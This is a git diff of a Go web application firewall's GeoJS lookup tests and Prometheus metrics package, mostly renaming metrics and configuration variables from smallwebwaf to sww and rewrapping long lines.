"waited %s for the answer, want %s",
waited,
longerTimeout,
)
} }
wantFailures(t, m, 1) wantFailures(t, m, 1)
@@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
got := g.LookUp(t.Context(), client) got := g.LookUp(t.Context(), client)
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) { if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
t.Errorf("waited %s for %+v, want no wait and no answer", took, got) t.Errorf(
"waited %s for %+v, want no wait and no answer",
took,
got,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -362,7 +383,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
mu.Unlock() mu.Unlock()
wantCountry(t, g, client, germany) wantCountry(t, g, client, germany)
wantUnanswered(t, m, 0) wantRequestsWithoutGeoJSAnswer(t, m, 0)
}) })
} }
@@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") || if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") { strings.Contains(logged, "203.0.113.9") {
t.Errorf("logged %q, want the failure without the address asked about", logged) t.Errorf(
"logged %q, want the failure without the address asked about",
logged,
)
} }
}) })
} }
@@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
} }
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed()) t.Errorf(
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
@@ -454,11 +481,21 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
clock.advance(time.Second) clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2) wantRequests(t, geojs, 2)
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3") wantAsked(
t,
geojs,
1,
"203.0.113.1",
"203.0.113.2",
"2001:db8:1:2::",
"203.0.113.3",
)
}) })
} }
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) { func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing
asked := waitForRequests(t, geojs, requests+1) asked := waitForRequests(t, geojs, requests+1)
if len(asked[requests]) != 23 { if len(asked[requests]) != 23 {
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests])) t.Errorf(
"GeoJS was asked about %d clients, want 23",
len(asked[requests]),
)
} }
}) })
} }
@@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
asked := waitForRequests(t, geojs, 3) asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 { if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1", t.Errorf(
len(asked[1]), len(asked[2])) "GeoJS was asked about %d and then %d clients, want 200 and 1",
len(asked[1]),
len(asked[2]),
)
} }
}) })
} }
@@ -596,7 +639,7 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
// GeoJS fails, so the first client goes without an answer, and GeoJS // GeoJS fails, so the first client goes without an answer, and GeoJS
// is left alone for a second, which does not pass in this test. // is left alone for a second, which does not pass in this test.
wantCountry(t, g, clients(), "") wantCountry(t, g, clients(), "")
wantUnanswered(t, m, 1) wantRequestsWithoutGeoJSAnswer(t, m, 1)
// Meanwhile each new client goes without one at once, while there is // Meanwhile each new client goes without one at once, while there is
// room for it among the 10,000 that may wait. // room for it among the 10,000 that may wait.
@@ -604,11 +647,11 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
wantCountry(t, g, clients(), "") wantCountry(t, g, clients(), "")
} }
wantUnanswered(t, m, 10000) wantRequestsWithoutGeoJSAnswer(t, m, 10000)
// One more, for which there is no room, goes without one too. // One more, for which there is no room, goes without one too.
wantCountry(t, g, clients(), "") wantCountry(t, g, clients(), "")
wantUnanswered(t, m, 10001) wantRequestsWithoutGeoJSAnswer(t, m, 10001)
}) })
} }
@@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch { switch {
case addr == unplaced: case addr == unplaced:
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"} item = map[string]any{
"ip": addr,
"asn": 64512,
"organization_name": "Unknown",
}
case addr == leftOut && answers == answeringWithoutLeftOut: case addr == leftOut && answers == answeringWithoutLeftOut:
continue continue
case answers == answeringInLowerCase: case answers == answeringInLowerCase:
@@ -804,7 +851,12 @@ func newClients() func() netip.Prefix {
} }
// wantCountry checks the country g gives client. // wantCountry checks the country g gives client.
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) { func wantCountry(
t *testing.T,
g *lookup.GeoJS,
client netip.Prefix,
want string,
) {
t.Helper() t.Helper()
got := g.LookUp(t.Context(), client).Country got := g.LookUp(t.Context(), client).Country
@@ -841,12 +893,16 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
} }
} }
// wantUnanswered checks how many requests m counts as having gone without // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// an answer from GeoJS. // gone without an answer from GeoJS.
func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) { func wantRequestsWithoutGeoJSAnswer(
t *testing.T,
m *metrics.Metrics,
want float64,
) {
t.Helper() t.Helper()
got := testutil.ToFloat64(m.GeoJSUnanswered) got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
if got != want { if got != want {
t.Errorf("%v requests went without an answer, want %v", got, want) t.Errorf("%v requests went without an answer, want %v", got, want)
} }
@@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
// It then checks that client's next request does not wait but has it asked // It then checks that client's next request does not wait but has it asked
// about again in the background, after which g gives it the country want. // about again in the background, after which g gives it the country want.
func waitForCountry( func waitForCountry(
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string, t *testing.T,
g *lookup.GeoJS,
clock *testClock,
client netip.Prefix,
want string,
) { ) {
t.Helper() t.Helper()
+6 -2
View File
@@ -17,7 +17,7 @@ import (
const fileMode = 0o600 const fileMode = 0o600
// Network is what a lookup database holds about a netblock, of the fields // Network is what a lookup database holds about a netblock, of the fields
// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and // sww reads: its AS number, such as AS64496, the AS's name, and
// its country, such as DE. // its country, such as DE.
type Network struct { type Network struct {
ASN string ASN string
@@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
// WriteRecords writes a lookup database at path that holds each record in // WriteRecords writes a lookup database at path that holds each record in
// records for its netblock, and nothing for any other address. // records for its netblock, and nothing for any other address.
func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) { func WriteRecords(
tb testing.TB,
path string,
records map[string]mmdbtype.Map,
) {
tb.Helper() tb.Helper()
tree, err := mmdbwriter.New(mmdbwriter.Options{ tree, err := mmdbwriter.New(mmdbwriter.Options{
+4 -1
View File
@@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
g.Load([]lookup.Answer{kept, stale}) g.Load([]lookup.Answer{kept, stale})
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) { if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got) t.Errorf(
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
got,
)
} }
wantCountry(t, g, kept.Client, "FR") wantCountry(t, g, kept.Client, "FR")
+34 -26
View File
@@ -13,19 +13,20 @@ const other = "other"
// busiest are the metrics by one thing the lookup finds of the client, // busiest are the metrics by one thing the lookup finds of the client,
// its country or its AS number, for requests whose client's is known. // its country or its AS number, for requests whose client's is known.
// The topN busiest countries or AS numbers, by their requests since the // The busiestCount busiest countries or AS numbers, by their requests
// start, have series of their own, and the others are counted under // since the start, have series of their own, and the others are counted
// other, so that there are never more than topN + 1 series. One that // under other, so that there are never more than busiestCount + 1 series.
// drops out of the busiest loses its series, and its next requests are // One that drops out of the busiest loses its series, and its next
// counted under other; one that becomes one of them gets a series that // requests are counted under other; one that becomes one of them gets a
// counts from then on. Each series therefore only ever goes up. // series that counts from then on. Each series therefore only ever goes
// up.
type busiest struct { type busiest struct {
topN int busiestCount int
requests *prometheus.CounterVec requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec requestBytes *prometheus.CounterVec
responseBytes *prometheus.CounterVec responseBytes *prometheus.CounterVec
// refused are, by country, the requests the country lists refused; nil // refused are, by country, the requests the country list refused; nil
// by AS number. // by AS number.
refused *prometheus.CounterVec refused *prometheus.CounterVec
@@ -38,34 +39,37 @@ type busiest struct {
} }
// newCountries returns the metrics by country, with series of their own // newCountries returns the metrics by country, with series of their own
// for the topN busiest countries. // for the busiestCount busiest countries.
func newCountries(topN int) *busiest { func newCountries(busiestCount int) *busiest {
countries := newBusiest(topN, "country", "the client's country") countries := newBusiest(busiestCount, "country", "the client's country")
countries.refused = counterVec("smallwebwaf_country_list_refusals_total", countries.refused = counterVec(
"Requests the country lists refused, by the client's country.", "sww_country_list_refusals_total",
[]string{"country"}) "Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
[]string{"country"},
)
return countries return countries
} }
// newASNs returns the metrics by AS number, with series of their own for // newASNs returns the metrics by AS number, with series of their own for
// the topN busiest AS numbers. // the busiestCount busiest AS numbers.
func newASNs(topN int) *busiest { func newASNs(busiestCount int) *busiest {
return newBusiest(topN, "asn", "the client's AS number") return newBusiest(busiestCount, "asn", "the client's AS number")
} }
// newBusiest returns the metrics by label, which is described as // newBusiest returns the metrics by label, which is described as
// description, with series of their own for the topN busiest values. // description, with series of their own for the busiestCount busiest
func newBusiest(topN int, label, description string) *busiest { // values.
func newBusiest(busiestCount int, label, description string) *busiest {
by := []string{label} by := []string{label}
return &busiest{ return &busiest{
topN: topN, busiestCount: busiestCount,
requests: counterVec("smallwebwaf_"+label+"_requests_total", requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by), "Requests, by "+description+".", by),
requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total", requestBytes: counterVec("sww_"+label+"_request_bytes_total",
"Request body bytes, by "+description+".", by), "Request body bytes, by "+description+".", by),
responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total", responseBytes: counterVec("sww_"+label+"_response_bytes_total",
"Response body bytes, by "+description+".", by), "Response body bytes, by "+description+".", by),
seen: map[string]int64{}, seen: map[string]int64{},
top: map[string]bool{}, top: map[string]bool{},
@@ -88,9 +92,13 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
} }
// vecs returns the metrics: by AS number, those of requests and bytes; by // vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country lists as well. // country, the refusals by the country list as well.
func (b *busiest) vecs() []*prometheus.CounterVec { func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes} vecs := []*prometheus.CounterVec{
b.requests,
b.requestBytes,
b.responseBytes,
}
if b.refused != nil { if b.refused != nil {
vecs = append(vecs, b.refused) vecs = append(vecs, b.refused)
} }
@@ -125,7 +133,7 @@ func (b *busiest) label(value string) string {
return value return value
} }
if len(b.top) < b.topN { if len(b.top) < b.busiestCount {
b.top[value] = true b.top[value] = true
return value return value
+168 -104
View File
@@ -1,4 +1,4 @@
// Package metrics keeps smallwebwaf's Prometheus metrics, as // Package metrics keeps sww's Prometheus metrics, as
// docs/metrics.md lists them, and serves them in the Prometheus text // docs/metrics.md lists them, and serves them in the Prometheus text
// format, as the "Metrics endpoint" section of SPEC.md requires. No // format, as the "Metrics endpoint" section of SPEC.md requires. No
// metric carries a client's address. // metric carries a client's address.
@@ -22,7 +22,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// Metrics are smallwebwaf's metrics. They are safe for concurrent use. // Metrics are sww's metrics. They are safe for concurrent use.
type Metrics struct { type Metrics struct {
// registry gives every metric registered with it the label instance. // registry gives every metric registered with it the label instance.
registry prometheus.Registerer registry prometheus.Registerer
@@ -36,7 +36,7 @@ type Metrics struct {
upstreamDuration prometheus.Histogram upstreamDuration prometheus.Histogram
rateLimitHits *prometheus.CounterVec rateLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec coreRuleSetMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by // ruleMatches are made by AddRules, and reputationHits by
// AddReputation. // AddReputation.
ruleMatches *prometheus.CounterVec ruleMatches *prometheus.CounterVec
@@ -45,12 +45,12 @@ type Metrics struct {
asns *busiest asns *busiest
// GeoJSRequests are the requests to GeoJS, and GeoJSFailures those // GeoJSRequests are the requests to GeoJS, and GeoJSFailures those
// that failed. GeoJSUnanswered are the requests that needed their // that failed. RequestsWithoutGeoJSAnswer are the requests that needed
// client's answer, for a setting that acts on it, and went on without // their client's answer, for a setting that acts on it, and went on
// it because GeoJS had not given it in time. // without it because GeoJS had not given it in time.
GeoJSRequests prometheus.Counter GeoJSRequests prometheus.Counter
GeoJSFailures prometheus.Counter GeoJSFailures prometheus.Counter
GeoJSUnanswered prometheus.Counter RequestsWithoutGeoJSAnswer prometheus.Counter
stateFileWrites *prometheus.CounterVec stateFileWrites *prometheus.CounterVec
stateFileWriteFailures *prometheus.CounterVec stateFileWriteFailures *prometheus.CounterVec
@@ -61,12 +61,12 @@ type Metrics struct {
} }
// New returns the metrics, with the Go runtime's and the process's own. // New returns the metrics, with the Go runtime's and the process's own.
// topN is how many countries and how many AS numbers get series of their // busiestCount is how many countries and how many AS numbers get series of
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName // their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
// (SWWAF_INSTANCE_NAME) as its label instance. // carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
// //
//nolint:funlen // a few lines for each metric, a list that grows with them //nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics { func New(busiestCount int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"} byStatus := []string{"status_class", "action"}
byFile := []string{"file"} byFile := []string{"file"}
registry := prometheus.NewRegistry() registry := prometheus.NewRegistry()
@@ -76,62 +76,89 @@ func New(topN int, instanceName string) *Metrics {
prometheus.Labels{"instance": instanceName}, registry), prometheus.Labels{"instance": instanceName}, registry),
handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}), handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
inFlight: prometheus.NewGauge(prometheus.GaugeOpts{ inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
Name: "smallwebwaf_requests_in_flight", Name: "sww_requests_in_flight",
Help: "Requests under way.", Help: "Requests under way.",
}), }),
requests: counterVec("smallwebwaf_requests_total", requests: counterVec(
"Requests, by the class of their status and their action.", byStatus), "sww_requests_total",
requestBytes: counterVec("smallwebwaf_request_bytes_total", "Requests, by the class of their status and their action.",
byStatus,
),
requestBytes: counterVec("sww_request_bytes_total",
"Request body bytes, by the class of the status and the action.", "Request body bytes, by the class of the status and the action.",
byStatus), byStatus),
responseBytes: counterVec("smallwebwaf_response_bytes_total", responseBytes: counterVec(
"sww_response_bytes_total",
"Response body bytes, by the class of the status and the action.", "Response body bytes, by the class of the status and the action.",
byStatus), byStatus,
),
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "smallwebwaf_request_duration_seconds", Name: "sww_request_duration_seconds",
Help: "How long requests took, from their arrival to their end.", Help: "How long requests took, from their arrival to their end.",
}), }),
upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "smallwebwaf_upstream_duration_seconds", Name: "sww_upstream_duration_seconds",
Help: "How long requests passed to the app took, from then to their end.", Help: "How long requests passed to the app took, from then to their end.",
}), }),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", rateLimitHits: counterVec(
"Requests that broke a rate limit, a byte limit or the error burst, by "+ "sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
"its window and its kind, requests, bytes or refusals.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}), []string{"window", "kind"},
offences: counterVec("smallwebwaf_offences_total", ),
offences: counterVec("sww_offences_total",
"Offences, by kind.", []string{"kind"}), "Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total", coreRuleSetMatches: counterVec(
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+ "sww_core_rule_set_matches_total",
"and the rule's id.", []string{"mode", "rule_id"}), "Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
countries: newCountries(topN), "and the rule's id.",
asns: newASNs(topN), []string{"mode", "rule_id"},
),
countries: newCountries(busiestCount),
asns: newASNs(busiestCount),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "smallwebwaf_geojs_requests_total", Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.", Help: "Requests to GeoJS.",
}), }),
GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{
Name: "smallwebwaf_geojs_failures_total", Name: "sww_geojs_failures_total",
Help: "Requests to GeoJS that failed.", Help: "Requests to GeoJS that failed.",
}), }),
GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{ RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
Name: "smallwebwaf_geojs_unanswered_total", prometheus.CounterOpts{
Name: "sww_requests_without_geojs_answer_total",
Help: "Requests that needed their client's answer from GeoJS and " + Help: "Requests that needed their client's answer from GeoJS and " +
"went on without it, because GeoJS had not given it in time.", "went on without it, because GeoJS had not given it in time.",
}), },
stateFileWrites: counterVec("smallwebwaf_state_file_writes_total", ),
"Writes of each state file.", byFile), stateFileWrites: counterVec("sww_state_file_writes_total",
stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total", "Writes of each state or cache file.", byFile),
"Writes of each state file that failed.", byFile), stateFileWriteFailures: counterVec(
stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds", "sww_state_file_write_failures_total",
"When each state file was last written, in seconds since 1970.", byFile), "Writes of each state or cache file that failed.",
stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes", byFile,
"The size of each state file, as it was last written.", byFile), ),
stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total", stateFileLastWrite: gaugeVec(
"Edits of each state file taken in while running.", byFile), "sww_state_file_last_write_timestamp_seconds",
stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total", "When each state or cache file was last written, in seconds since 1970.",
"Edits of each state file renamed to <name>.bad because they did not parse.", byFile,
byFile), ),
stateFileSize: gaugeVec(
"sww_state_file_size_bytes",
"The size of each state or cache file, as it was last written.",
byFile,
),
stateFileEditsTakenIn: counterVec(
"sww_state_file_edits_taken_in_total",
"Edits of each state or cache file taken in while running.",
byFile,
),
stateFileEditsSetAside: counterVec(
"sww_state_file_edits_set_aside_total",
"Edits of each state or cache file renamed to <name>.bad because they "+
"did not parse.",
byFile,
),
} }
m.registry.MustRegister( m.registry.MustRegister(
@@ -139,9 +166,9 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes, m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration, m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.offences, m.wafMatches, m.rateLimitHits, m.offences, m.coreRuleSetMatches,
m.countries, m.asns, m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.GeoJSRequests, m.GeoJSFailures, m.RequestsWithoutGeoJSAnswer,
m.stateFileWrites, m.stateFileWriteFailures, m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize, m.stateFileLastWrite, m.stateFileSize,
m.stateFileEditsTakenIn, m.stateFileEditsSetAside, m.stateFileEditsTakenIn, m.stateFileEditsSetAside,
@@ -160,18 +187,20 @@ func (m *Metrics) AddBansAndClients(
for _, cause := range []string{ for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec, bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} { } {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(
Name: "smallwebwaf_bans_made_total", prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_bans_made_total",
Help: "Bans made, by cause.", Help: "Bans made, by cause.",
ConstLabels: prometheus.Labels{"cause": cause}, ConstLabels: prometheus.Labels{"cause": cause},
}, func() float64 { }, func() float64 {
return float64(ledger.Made(cause)) return float64(ledger.Made(cause))
})) }),
)
} }
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_active_bans", Name: "sww_active_bans",
Help: "Bans active now, the permanent ones included.", Help: "Bans active now, the permanent ones included.",
}, func() float64 { }, func() float64 {
active, _ := ledger.Count(now()) active, _ := ledger.Count(now())
@@ -179,7 +208,7 @@ func (m *Metrics) AddBansAndClients(
return float64(active) return float64(active)
}), }),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_permanent_bans", Name: "sww_permanent_bans",
Help: "Permanent bans not lifted.", Help: "Permanent bans not lifted.",
}, func() float64 { }, func() float64 {
_, permanent := ledger.Count(now()) _, permanent := ledger.Count(now())
@@ -187,7 +216,7 @@ func (m *Metrics) AddBansAndClients(
return float64(permanent) return float64(permanent)
}), }),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_tracked_clients", Name: "sww_tracked_clients",
Help: "Clients in the table of clients.", Help: "Clients in the table of clients.",
}, func() float64 { }, func() float64 {
return float64(limiter.Len()) return float64(limiter.Len())
@@ -200,13 +229,15 @@ func (m *Metrics) AddBansAndClients(
// ruleFiles, read as the metrics are asked for. It is called once, before // ruleFiles, read as the metrics are asked for. It is called once, before
// RuleMatched. // RuleMatched.
func (m *Metrics) AddRules(ruleFiles *rules.Files) { func (m *Metrics) AddRules(ruleFiles *rules.Files) {
m.ruleMatches = counterVec("smallwebwaf_rule_matches_total", m.ruleMatches = counterVec(
"sww_rule_matches_total",
"Requests that matched a rule of the rule files, by its id and action.", "Requests that matched a rule of the rule files, by its id and action.",
[]string{"rule_id", "action"}) []string{"rule_id", "action"},
)
m.registry.MustRegister(m.ruleMatches, m.registry.MustRegister(m.ruleMatches,
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_rules_loaded", Name: "sww_rules_loaded",
Help: "Rules loaded from the rule files.", Help: "Rules loaded from the rule files.",
}, func() float64 { }, func() float64 {
return float64(ruleFiles.Len()) return float64(ruleFiles.Len())
@@ -214,25 +245,25 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
} }
// AddRemoteLog adds the metrics of sending the log lines to // AddRemoteLog adds the metrics of sending the log lines to
// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the // SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// lines sent, those dropped, and those waiting in the buffer. // lines sent, those dropped, and those waiting in the buffer.
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_remote_log_lines_sent_total", Name: "sww_remote_log_lines_sent_total",
Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.", Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
}, func() float64 { }, func() float64 {
return float64(remote.Sent()) return float64(remote.Sent())
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_remote_log_lines_dropped_total", Name: "sww_remote_log_lines_dropped_total",
Help: "Log lines dropped: the oldest in a full buffer, and those " + Help: "Log lines dropped: the oldest in a full buffer, and those " +
"whose sending failed.", "whose sending failed.",
}, func() float64 { }, func() float64 {
return float64(remote.Dropped()) return float64(remote.Dropped())
}), }),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_remote_log_buffer_depth", Name: "sww_remote_log_lines_waiting",
Help: "Log lines in the buffer, waiting to be sent.", Help: "Log lines in the buffer, waiting to be sent.",
}, func() float64 { }, func() float64 {
return float64(remote.Depth()) return float64(remote.Depth())
@@ -245,16 +276,19 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
// returns, and the replacements of it that could not be read, which // returns, and the replacements of it that could not be read, which
// readFailures returns. The lookup package's File, which has both, cannot // readFailures returns. The lookup package's File, which has both, cannot
// be named here: that package counts GeoJS's requests in these metrics. // be named here: that package counts GeoJS's requests in these metrics.
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) { func (m *Metrics) AddLookupFile(
lastRead func() time.Time,
readFailures func() int,
) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds", Name: "sww_lookup_database_last_read_timestamp_seconds",
Help: "When the lookup database in use was read, in seconds since 1970.", Help: "When the lookup database in use was read, in seconds since 1970.",
}, func() float64 { }, func() float64 {
return float64(lastRead().Unix()) return float64(lastRead().Unix())
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_lookup_database_read_failures_total", Name: "sww_lookup_database_read_failures_total",
Help: "Replacements of the lookup database that could not be read.", Help: "Replacements of the lookup database that could not be read.",
}, func() float64 { }, func() float64 {
return float64(readFailures()) return float64(readFailures())
@@ -274,27 +308,41 @@ const sourceLabel = "source"
// metrics are asked for, for a list, the fetches that failed and when the // metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that // copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit. // failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) { func (m *Metrics) AddReputation(
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", lists *reputation.Lists,
dnsbl *reputation.DNSBL,
) {
m.reputationHits = counterVec(
"sww_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+ "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.", "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel}) []string{sourceLabel},
)
m.registry.MustRegister(m.reputationHits) m.registry.MustRegister(m.reputationHits)
for _, zone := range dnsbl.Zones() { for _, zone := range dnsbl.Zones() {
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)} source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) }) m.addReputationQueries(
m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) }) source,
func() int { return dnsbl.Queries(zone) },
)
m.addReputationFailures(
source,
func() int { return dnsbl.Failures(zone) },
)
} }
for _, listURL := range lists.URLs() { for _, listURL := range lists.URLs() {
source := prometheus.Labels{sourceLabel: listURL} source := prometheus.Labels{sourceLabel: listURL}
m.addReputationFailures(source, func() int { return lists.Failures(listURL) }) m.addReputationFailures(
source,
func() int { return lists.Failures(listURL) },
)
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds", Name: "sww_reputation_last_fetch_timestamp_seconds",
Help: "When the copy of the list in use was fetched, in seconds since " + Help: "When the copy of the list in use was fetched, in seconds since " +
"1970, or 0 while there is none.", "1970, or 0 while there is none.",
